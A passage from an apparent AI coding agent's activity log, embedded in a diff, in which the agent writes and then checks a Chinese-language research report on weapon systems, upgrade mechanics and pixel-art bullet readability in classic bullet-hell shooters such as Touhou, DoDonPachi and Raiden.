**全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*"}, "ts": 1787459547736}, {"type": "progress", "id": "call_bea4fe7c607c42b7934c370d", "tool": "write_file", "status": "completed", "args": {"file_path": "research/weapon_system/weapon_research.md", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*"}, "ts": 1787459547771}, {"type": "progress", "id": "call_6418c4c6453f4096af5ef770", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/weapon_system/ && echo \"---\" && wc -l /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"---\" && head -30 /Users/demo/starraid/research/weapon_system/weapon_research.md", "timeout": 30}, "ts": 1787459551154}, {"type": "progress", "id": "call_6418c4c6453f4096af5ef770", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/weapon_system/ && echo \"---\" && wc -l /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"---\" && head -30 /Users/demo/starraid/research/weapon_system/weapon_research.md", "timeout": 30}, "ts": 1787459551212}, {"type": "progress", "id": "call_edb58b5e3d9e4e5bb85a2ff7", "tool": "run_command", "status": "running", "args": {"command": "tail -20 /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"=== verify dir ===\" && ls /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459554673}, {"type": "progress", "id": "call_edb58b5e3d9e4e5bb85a2ff7", "tool": "run_command", "status": "completed", "args": {"command": "tail -20 /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"=== verify dir ===\" && ls /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459554722}, {"type": "progress", "id": "call_834359f32bda474dbdd9352c", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 5, 6]}, "ts": 1787459558854}, {"type": "progress", "id": "call_834359f32bda474dbdd9352c", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 5, 6]}, "ts": 1787459558854}]}} \ No newline at end of file diff --git a/website-design/exp/mock/activity-sub_2_1787459391_a9b055.json b/website-design/exp/mock/activity-sub_2_1787459391_a9b055.json new file mode 100644 index 